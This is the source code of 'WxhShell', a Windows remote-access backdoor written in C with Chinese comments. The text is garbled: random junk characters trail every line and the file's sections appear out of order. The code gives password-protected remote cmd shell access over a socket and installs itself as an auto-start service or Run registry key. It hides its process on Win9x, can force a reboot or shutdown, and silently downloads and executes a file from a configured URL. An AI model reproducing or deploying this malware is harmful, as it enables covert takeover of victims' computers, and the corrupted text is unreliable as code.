    else { kqce[hgs<  
    closesocket(wsh); #<e\QE'!  
    ExitThread(0); LbaK={tR  
    } ogL EtqT  
    break; cU{e`<xjA  
    } 7<%<Ff@^)O  
  // 获取shell U f|> (C  
  case 's': { BNd^qB ?  
    CmdShell(wsh); \e!vj.PU  
    closesocket(wsh); fO0(Z  
    ExitThread(0); F1jglH/MF)  
    break; OE4+GI.r-  
  } ]8icBneA~'  
  // 退出 |N}P(GF  
  case 'x': { H^.IY_I`U*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6oLwfTy  
    CloseIt(wsh); a@\D$#2r  
    break; Pu"R,a  
    } K4]g[z  
  // 离开 hoQs @[  
  case 'q': { )//I'V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _U{zMVr  
    closesocket(wsh); W D T]!  
    WSACleanup(); z I+\Oll#Q  
    exit(1); AX= 1b,s  
    break; 3t<a $i  
        } Y`o+XimX  
  } Qb)C[5a}  
  } ~mO62(8m  
ep=qf/vd<  
  // 提示信息 ~=KJzOS,S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0pJ ":Q/2)  
} %I-+Ead0i  
  } F B?UZ  
;Ra+=z}>  
  return; [8Qro8  
} TQ{Han!  
6_d.Yfbq  
// shell模块句柄 wKi^C 8Z2  
int CmdShell(SOCKET sock) u1z  
{ I!>\#K  
STARTUPINFO si; {X[ HCfJd  
ZeroMemory(&si,sizeof(si)); Ux#x#N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qt,M!i,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HAv{R!*  
PROCESS_INFORMATION ProcessInfo; `2`\]X_A{  
char cmdline[]="cmd"; ] )F7)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @BrMl%gV  
  return 0; x7vctjM|  
} u`olW%C/T  
Q>R>R*1.j  
// 自身启动模式 F29v a  
int StartFromService(void) E@-KGsdhK  
{ %e`$p=m  
typedef struct 5Q 'i2*j  
{ zfwS  
  DWORD ExitStatus; $&"V^@  
  DWORD PebBaseAddress; NM0tp )h  
  DWORD AffinityMask; ZxlAk+<]  
  DWORD BasePriority; aB]m*~  
  ULONG UniqueProcessId; <)\y#N  
  ULONG InheritedFromUniqueProcessId; ]D@0|  
}   PROCESS_BASIC_INFORMATION; l#lF +Q;  
&q`q4g&7  
PROCNTQSIP NtQueryInformationProcess; ,(.MmP`  
F[4;Xq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `u.t[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =) E,8L  
6m VuyI  
  HANDLE             hProcess; t ^[8RhD  
  PROCESS_BASIC_INFORMATION pbi; xB@|LtdO9;  
{ .*y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uP<0WCN  
  if(NULL == hInst ) return 0; WHAQu]{  
HLBkR>e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?%VI{[y#>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ov#=]t5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I+!:K|^  
?H_ LX;r  
  if (!NtQueryInformationProcess) return 0; [! 'op0  
UG'bOF4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PG8^.)]M  
  if(!hProcess) return 0; M\Gdn92pd  
k{VE1@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?6nF~9Z'  
y$3;$ R^  
  CloseHandle(hProcess); $5v0m#[^  
dJv!Dts')C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Qj3a_p$)P  
if(hProcess==NULL) return 0; ,ZQZ}`x(  
<BO)E(  
HMODULE hMod; !r`,=jK"  
char procName[255]; 1Nu1BLPm  
unsigned long cbNeeded; oW^*l#v  
gORJWQv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \`ZW* EtPI  
]r3Kg12Mi  
  CloseHandle(hProcess); S}f?.7  
=C L} $_  
if(strstr(procName,"services")) return 1; // 以服务启动 1yV: qp  
mKT>,M  
  return 0; // 注册表启动 p-%|P ]&  
} }gkM^*$:%  
6G}+gqbX  
// 主模块 DfV~!bY  
int StartWxhshell(LPSTR lpCmdLine) oG7q_4+&  
{ %L [&,a  
  SOCKET wsl; pA;-v MpMj  
BOOL val=TRUE;  e(NLX`  
  int port=0; /t6X(*xoy  
  struct sockaddr_in door; /XudV2P-CA  
y7S4d~&  
  if(wscfg.ws_autoins) Install(); /m( =`aRt  
rCS#{x  
port=atoi(lpCmdLine); ^m/14MN|  
NxVw!TsR  
if(port<=0) port=wscfg.ws_port; a=XW[TY1  
hk/! 'd  
  WSADATA data; 1xU3#b&2tC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6{ ,HiY  
En&5)c+js4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8?*RIA.a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q~L^au8  
  door.sin_family = AF_INET; w_ {,<[#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @$"L:1_  
  door.sin_port = htons(port); 3+J0!FVla  
v|ox!0:#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;f,c't@w  
closesocket(wsl); oo=#XZkk  
return 1; *_ +7ni  
} Gn)y> AN  
"lNzGi-H  
  if(listen(wsl,2) == INVALID_SOCKET) { ]I/Vbs  
closesocket(wsl); ~^ ^ NHq  
return 1; .)|a2d ~F  
} G pbC M~x  
  Wxhshell(wsl); |0{u->+ )  
  WSACleanup(); jKZt~I  
Y F:2>w<  
return 0; h;V,n  
:K?0e `  
} Z?J:$of*  
y fSM  
// 以NT服务方式启动 WZ!WxX>zO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) - O"i3>C  
{ ]O{u tm  
DWORD   status = 0; "+?Cz !i   
  DWORD   specificError = 0xfffffff; fWF |,A>>b  
^). )  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g\GdkiIj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H0a/(4/xg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CzV(cSS9-  
  serviceStatus.dwWin32ExitCode     = 0; {F N;'Uc  
  serviceStatus.dwServiceSpecificExitCode = 0; iqhOi|!  
  serviceStatus.dwCheckPoint       = 0; G5D2oQa=8  
  serviceStatus.dwWaitHint       = 0; CK_(b"  
/D_+{dtE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `]$?uQ  
  if (hServiceStatusHandle==0) return; M+wt_ _vHf  
sA9 &/p/  
status = GetLastError(); -ng=l;  
  if (status!=NO_ERROR) 19(Dj&x  
{ >x3ug]Bu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Px M!U!t  
    serviceStatus.dwCheckPoint       = 0; wFlvi=n/  
    serviceStatus.dwWaitHint       = 0; qQxz(}REu9  
    serviceStatus.dwWin32ExitCode     = status; .bf<<+'o  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9kKnAf4Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ufo>|A6;$  
    return; 5FC4@Ms`  
  } 2JmZ{  
1\dn 1Hh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4gdY`}8b^}  
  serviceStatus.dwCheckPoint       = 0; /w]&t\]*  
  serviceStatus.dwWaitHint       = 0; bg?"ILpk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I\\QS.2  
} FVF-:C  
8*g ^o\M  
// 处理NT服务事件,比如:启动、停止 v&g0ta@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -~)OF  
{ +Ra3bjl  
switch(fdwControl) L;W.pe0  
{ %Y4e9T".  
case SERVICE_CONTROL_STOP: ">dq0gD  
  serviceStatus.dwWin32ExitCode = 0; U},=LsDsW4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I~'*$l  
  serviceStatus.dwCheckPoint   = 0; ZX b}91rzt  
  serviceStatus.dwWaitHint     = 0; 8_uzpeRhJc  
  { [O-sVYB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 waw`F  
  } ,]Zp+>{  
  return; *.f2VQ~H  
case SERVICE_CONTROL_PAUSE: >+cVs:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <Wl(9$  
  break; ,/&Zw01dGN  
case SERVICE_CONTROL_CONTINUE: }tST)=M`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %up}p/?  
  break; ;52'}%5  
case SERVICE_CONTROL_INTERROGATE: Jf:,y~mV  
  break; km:nE: |  
}; H L<s@kEZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tn/T6C^)  
} <XQ.A3SG!  
HTz+K6&  
// 标准应用程序主函数 c\cZ]RZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P\~{3U  
{ ]*%+H|l  
f?Bj _z  
// 获取操作系统版本 1 [z'G)v  
OsIsNt=GetOsVer(); K.>wQA&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -ewQp9)G  
yno('1B@  
  // 从命令行安装 oB c@]T5>  
  if(strpbrk(lpCmdLine,"iI")) Install(); e[Xq  
KSs1CF'i  
  // 下载执行文件 m8R=?U~!S  
if(wscfg.ws_downexe) { 4cCF \&yU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O>DNC-m)i{  
  WinExec(wscfg.ws_filenam,SW_HIDE); =~FG&rk^  
} (N~$x  
^E>CGGS4  
if(!OsIsNt) { H*e'Cs/  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;~zNqdlH  
HideProc(); sDiHXDI_m  
StartWxhshell(lpCmdLine); FT\?:wpKa  
} h:qHR] 8dZ  
else Edt}",s7  
  if(StartFromService()) Ruh)^g  
  // 以服务方式启动 pe04#zQK  
  StartServiceCtrlDispatcher(DispatchTable); S;@ay/*~  
else EU`T6M  
  // 普通方式启动 {_ V0  
  StartWxhshell(lpCmdLine); 0.(<'!"y  
Z/ bB h  
return 0; utO.WfWP  
} X} JOX9pK  
AO 0!liQ  
@ Gjny BJ  
s_wUM)!  
=========================================== J?712=9  
2P~)I)3V  
A! 6r/   
ahIE;Y\j'  
mVH,HqsXa  
H:oQ  
" SX+RBVZU  
['Z{@9  
#include <stdio.h> Sgj/s~j~1  
#include <string.h> )r!e2zc=Q  
#include <windows.h> V 7<eQ0;m  
#include <winsock2.h> Px4/O~bLk  
#include <winsvc.h>  mIc:2.q^  
#include <urlmon.h> z-u?s`k**  
v|+5:jFOqb  
#pragma comment (lib, "Ws2_32.lib") z:G}>fk5  
#pragma comment (lib, "urlmon.lib") ]A:( L9  
K84&sSi  
#define MAX_USER   100 // 最大客户端连接数 m/${8  
#define BUF_SOCK   200 // sock buffer 6}&^=^-  
#define KEY_BUFF   255 // 输入 buffer i2F(GH?p[  
2cnj@E:5l  
#define REBOOT     0   // 重启 |4SW[>WT:  
#define SHUTDOWN   1   // 关机 VuWib+fT  
}C~]=Z  
#define DEF_PORT   5000 // 监听端口 fD6GQ*  
emWGIo  
#define REG_LEN     16   // 注册表键长度 q.oLmX  
#define SVC_LEN     80   // NT服务名长度 @FX{M..  
%!W%#U0  
// 从dll定义API RV!<?[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -0|K,k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ! Cb=B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }:#dV B+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0\ f-z6  
~iTxv_\=6u  
// wxhshell配置信息 6Y?`=kAp  
struct WSCFG { 9O >z4o  
  int ws_port;         // 监听端口 %x2b0L\g  
  char ws_passstr[REG_LEN]; // 口令 )/%S=c  
  int ws_autoins;       // 安装标记, 1=yes 0=no 84`rbL!M  
  char ws_regname[REG_LEN]; // 注册表键名 W^R'@  
  char ws_svcname[REG_LEN]; // 服务名 ba&o;BLUy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s-6:N9-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jH0Bo;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1xC`ZhjcD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J:};n@<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,ep9V ,+|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~I$}#  
BI/y<6#rR  
}; ~gt3Omh  
+qE']yzm!  
// default Wxhshell configuration Bcaw~WD  
struct WSCFG wscfg={DEF_PORT, bF6gBM@*  
    "xuhuanlingzhe", plku-O;]  
    1, dQ6GhS ~  
    "Wxhshell", aL )Hv k:  
    "Wxhshell", jsWX 6(=  
            "WxhShell Service", [$:@X V(  
    "Wrsky Windows CmdShell Service", kIM C~Z  
    "Please Input Your Password: ", 9.-47|-9C  
  1, oc;VIK)g]c  
  "http://www.wrsky.com/wxhshell.exe", Hja^edLj  
  "Wxhshell.exe"  q)oN 2-  
    }; E\! n49  
!3x *k;0  
// 消息定义模块 ewQe/Fq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k`@w(HhS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xMsGs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )Pa*+ew7  
char *msg_ws_ext="\n\rExit."; +2yF|/WW#  
char *msg_ws_end="\n\rQuit."; "WP% REE!  
char *msg_ws_boot="\n\rReboot..."; QK7e|M  
char *msg_ws_poff="\n\rShutdown..."; =h[yA f  
char *msg_ws_down="\n\rSave to "; @YB85p"]J.  
`,m7xJZ?y  
char *msg_ws_err="\n\rErr!"; E0jUewG  
char *msg_ws_ok="\n\rOK!"; A^vvST%7  
EE9vk*[@C  
char ExeFile[MAX_PATH]; 3{q[q#"  
int nUser = 0; `oPLl0  
HANDLE handles[MAX_USER]; aH^{Vv$]M@  
int OsIsNt; [a+4gy  
^Fvr f`A'  
SERVICE_STATUS       serviceStatus; T^NJ4L4#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @#CF".fuN>  
bqNLkw#  
// 函数声明 kxy]vH6m  
int Install(void); id4]|jb  
int Uninstall(void); qm}\?_  
int DownloadFile(char *sURL, SOCKET wsh); 5% 'S  
int Boot(int flag); 1gk0l'.z  
void HideProc(void); x Ty7lfSe  
int GetOsVer(void); N6BNzN}-P  
int Wxhshell(SOCKET wsl); pj@Yqg/  
void TalkWithClient(void *cs); _Z.;u0Zp8  
int CmdShell(SOCKET sock); khS/'b  
int StartFromService(void); /x O{ .dr  
int StartWxhshell(LPSTR lpCmdLine); Vku#;:yUb^  
p_gA/. v=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PS/W h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -;<>tq'3`  
d}VALjXHX!  
// 数据结构和表定义 T NIst  
SERVICE_TABLE_ENTRY DispatchTable[] = |Z!@'YB  
{ :@;6  
{wscfg.ws_svcname, NTServiceMain}, uZ<%kV1B  
{NULL, NULL} , | <jjq)  
}; -[<vYxX:h:  
K+-zY[3  
// 自我安装 N+hedF@ZU  
int Install(void) &|NZ8:*+#  
{ 3FuCW  
  char svExeFile[MAX_PATH]; _y"a2M  
  HKEY key; p4y6R4kyT  
  strcpy(svExeFile,ExeFile); LhZZc`|7t  
-B,cB  
// 如果是win9x系统,修改注册表设为自启动 ZGzc"r(r:#  
if(!OsIsNt) { A$N+9n\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oL)lyUVT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =kF? _KN  
  RegCloseKey(key); qz87iJp&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +`9yZOaC#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >mew"0Q  
  RegCloseKey(key); q$|0)}  
  return 0; L1rA T  
    } 7\f{'KL  
  } gINwvzW{  
} %B0w~[!4}  
else { 1O23"o5=  
s9G)Bd 8  
// 如果是NT以上系统,安装为系统服务 C~{xL>I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K,G,di  
if (schSCManager!=0) R~!\ -6%_  
{ / Z1Wy-Z  
  SC_HANDLE schService = CreateService 7x%S](m%  
  ( [' ?^>jfr  
  schSCManager, 48:liR  
  wscfg.ws_svcname, xSdN5RN  
  wscfg.ws_svcdisp, K_Z+]]$#  
  SERVICE_ALL_ACCESS, E`(5UF*>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @|E;}:?u  
  SERVICE_AUTO_START, \u{Jf'g  
  SERVICE_ERROR_NORMAL, R !Fx)xj  
  svExeFile, G I&qwA  
  NULL, An/>0 5|  
  NULL, 0c`sb+?  
  NULL, J-b~4  
  NULL, $1b]xQ  
  NULL 7KeXWW/d  
  ); ZMP?'0h=  
  if (schService!=0) mn(/E/  
  { FLK"|*A  
  CloseServiceHandle(schService); vNPfUEnA  
  CloseServiceHandle(schSCManager); 4+-5,t7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vwm|I7/w  
  strcat(svExeFile,wscfg.ws_svcname); y9=t;qH@|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8?A@/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ; A x=]Q  
  RegCloseKey(key); )\RzE[Cb  
  return 0; ZUv ZN f  
    } =kwb` Z/a  
  } Th.3j's  
  CloseServiceHandle(schSCManager); yB 1I53E  
} B,r5kQI4  
} }Q,(u   
rf)PAdj|~  
return 1; -hQ96S8  
} &qNP?>C!=  
IES41y<  
// 自我卸载 8y-e+  
int Uninstall(void) *iPs4Es-  
{ ,:c :6Y^  
  HKEY key; 6.k^m&-A  
-6AOK<kfI  
if(!OsIsNt) { UIO6|*ka  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^xzE^"G6  
  RegDeleteValue(key,wscfg.ws_regname); .L~fFns/  
  RegCloseKey(key); n'! -Pv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O)Xd3w'  
  RegDeleteValue(key,wscfg.ws_regname); k,a,h^{}j  
  RegCloseKey(key); Lr K9F^c  
  return 0;  =|^X$H  
  } 'Na|#tPYI  
} (qNco8QKu3  
} m};~JMo]  
else { s.<olxXRW  
3s3a>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 58M'r{8_  
if (schSCManager!=0) ] dW%g?  
{ RmcYa j^=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9vB9k@9  
  if (schService!=0) eUX@9eML  
  { C}x4#bNK  
  if(DeleteService(schService)!=0) { bv.EM  
  CloseServiceHandle(schService); ; :v]NZtc  
  CloseServiceHandle(schSCManager); L#@l(8.  
  return 0; , LCH2r  
  } zyIza@V(  
  CloseServiceHandle(schService); >:3xi{  
  } e-nWD  
  CloseServiceHandle(schSCManager); ##SLwrg  
} $xKg }cO  
} @C!JtgO%  
Se!gs>  
return 1; (1QdZD|  
} [d!Af4  
8Uj68Jl?  
// 从指定url下载文件 {LR#(q$1  
int DownloadFile(char *sURL, SOCKET wsh) 6|Ba  
{ U)&H.^@r$  
  HRESULT hr; $M:4\E5(  
char seps[]= "/"; uYG #c(lc  
char *token; )_Z]=5Ds  
char *file; HV]~=Bw2I  
char myURL[MAX_PATH]; + TPbIRA  
char myFILE[MAX_PATH]; T=hm#]   
7H8GkuO  
strcpy(myURL,sURL); 44Seq  
  token=strtok(myURL,seps); \#h})`  
  while(token!=NULL) `D&#U'wB   
  { Bbn832iMUY  
    file=token; 5^G7pI7  
  token=strtok(NULL,seps); N[|by}@n  
  } h$#4ebp  
(.jO:#eE%  
GetCurrentDirectory(MAX_PATH,myFILE); I v 80,hW  
strcat(myFILE, "\\"); z|t.y.JX  
strcat(myFILE, file); ;j[q?^ b  
  send(wsh,myFILE,strlen(myFILE),0); *so6]+)cU  
send(wsh,"...",3,0); Xm_Ub>N5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v.~Nv@+kR  
  if(hr==S_OK) +lY\r +;  
return 0; E 6>1Fm8%V  
else g4BwKENM  
return 1; B1 jH.(  
C9"f6>i  
} UgOGBj,&5W  
pn ~/!y  
// 系统电源模块 HQ-N!pf9  
int Boot(int flag)  RU3_Fso  
{ "GIg| 3  
  HANDLE hToken; [4V|UvKz  
  TOKEN_PRIVILEGES tkp; bi4^ zaCEE  
VfJX<e=k  
  if(OsIsNt) { J.CZR[XF#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zD#+[XI]K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XY$cx~  
    tkp.PrivilegeCount = 1; =6"hj,[Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Aw_R $  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DI2S %N l  
if(flag==REBOOT) { 9I^H)~S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \k$]GK-  
  return 0; v]d?6g  
} $AL|d[[T[  
else { p!rG PyGC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ed ?Yk* 4  
  return 0; %Pt[3>  
} W+-f `  
  } BhhK| U/  
  else { "~ i#9L/H  
if(flag==REBOOT) { G%W03c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lzQ&)7`  
  return 0; ;#Crh}~  
} :jN;l  
else { sV Z}nq{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |~T+f&   
  return 0; .bY1N5=sz  
} @% 5F^Vbd  
} #f jX|b  
Ov{B-zCA  
return 1; iaq:5||,  
} a}+ _Yo(Q  
nG(|7x   
// win9x进程隐藏模块 5D q{"@E  
void HideProc(void) b "AHw?5F  
{ fSb@7L  
@tU>~y{E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); | Y,X=Ed  
  if ( hKernel != NULL ) 9DocId.  
  { r%?}5"*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BM}a?nnoc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *SpO|*'  
    FreeLibrary(hKernel); 4h2bk\z-  
  } ~m"M#1,ln3  
u>-uRz<)t  
return; +\]S<T*;  
} )7BNzj"~  
:O2v0Kx  
// 获取操作系统版本 \?Oa}&k$F8  
int GetOsVer(void) { N8rZ[Oo  
{ UW~tS  
  OSVERSIONINFO winfo; JO;` Kz_$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U1@ P/  
  GetVersionEx(&winfo); =?QQb>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Uu<sntyv  
  return 1; -1Ki7|0,  
  else z@40 g)R2A  
  return 0; RI].LB_  
} Tr+Y@]"  
os0"haOI9h  
// 客户端句柄模块 'G By^hj?  
int Wxhshell(SOCKET wsl) <GU(/S!}  
{ [_z2z6  
  SOCKET wsh; S&g -  
  struct sockaddr_in client; < oG\)!O  
  DWORD myID; 3jQ$72_  
@C6DOB  
  while(nUser<MAX_USER) MZ#2WP)F  
{ pLFL6\{g  
  int nSize=sizeof(client); @;-Un/'C;7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b+fy&rk@-  
  if(wsh==INVALID_SOCKET) return 1; S}oF7;'Ga  
r_2VExk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~ 8qFM  
if(handles[nUser]==0) 7.=s1~p  
  closesocket(wsh); !N2 n@bo  
else I2!&="7@  
  nUser++; pPqbD}p  
  } hB1iSm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5nlyb,"^g  
"Kf~`0P  
  return 0; AZm)$@e)  
} s#CEhb  
!haXO  
// 关闭 socket 5|H(N}S_  
void CloseIt(SOCKET wsh) k-p7Y@`+a  
{ (3HgI  
closesocket(wsh); +R jD\6bJb  
nUser--; 6O?Sr,  
ExitThread(0); UEb'E;  
} [}Yci:P_ +  
j;c ^pLUP  
// 客户端请求句柄 Q14;G<l-  
void TalkWithClient(void *cs) I.0Usa"z  
{ )qQg n]  
1+[|pXT}  
  SOCKET wsh=(SOCKET)cs; 3B]+]e~  
  char pwd[SVC_LEN]; Bc` A]U  
  char cmd[KEY_BUFF]; <i @jD  
char chr[1]; \%Ih 6  
int i,j; [IX!3I[J]  
{ca^yHgGy  
  while (nUser < MAX_USER) { o".O#^3H%  
9S`b7U=P  
if(wscfg.ws_passstr) { x6mq['_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |UiykQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z+`)|c4-  
  //ZeroMemory(pwd,KEY_BUFF); [\y>&"uk  
      i=0; ymJw{&^am  
  while(i<SVC_LEN) { B~?Q. <M  
U0=zuRr n  
  // 设置超时 246!\zf  
  fd_set FdRead; mLdyt-1  
  struct timeval TimeOut; "PP0PL^5F  
  FD_ZERO(&FdRead); hndRg Co  
  FD_SET(wsh,&FdRead); bGLp0\0[  
  TimeOut.tv_sec=8; >.sN?5}y  
  TimeOut.tv_usec=0; z:? <aT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {dH<Un(4Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z4tq&^ :c=  
Q/SC7R&"t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6R,b 8  
  pwd=chr[0]; YuuG:Kk  
  if(chr[0]==0xd || chr[0]==0xa) { [Cr~gd+ q  
  pwd=0; 8-#2?=  
  break; *y$ry]  
  } c7N9X 3A  
  i++; \?I wR]@y  
    } \X p"I5  
8xz7S  
  // 如果是非法用户,关闭 socket +=xRr?F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 69w"$V k  
} [wxI X  
;'+cT.cmH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L*Cf&c`8r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qf{B  
ZX}"  
while(1) { )4C6+63OD&  
[l{eJ /W  
  ZeroMemory(cmd,KEY_BUFF); J<O_N~$$*  
)}lV41u  
      // 自动支持客户端 telnet标准   SuuS!U+i>  
  j=0; RlL,eU$CS  
  while(j<KEY_BUFF) { f.CI.aozW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K?I&,t_*R  
  cmd[j]=chr[0]; x/^zNO\1  
  if(chr[0]==0xa || chr[0]==0xd) { -L3RzX  
  cmd[j]=0; ^@> Qiy  
  break; +Ea X S  
  } X Y?@^  
  j++; 2$UR " P  
    } q{(&:~M  
!Z)^c&  
  // 下载文件 B)NB6dCp  
  if(strstr(cmd,"http://")) { (ytkq(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I(S6DkU  
  if(DownloadFile(cmd,wsh)) N#ObxOE6T"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \mG M#E  
  else 2geC3v% 0o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DgP%Q  
  } =hlu, By  
  else { T`;M!-)2  
U]$3NIe  
    switch(cmd[0]) { u'."E7o#  
  C_)>VPD  
  // 帮助 -qF|Y f  
  case '?': {  K>eG5tt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1=.?KAXR  
    break; b>EUa> h  
  } /ep~/#Ia  
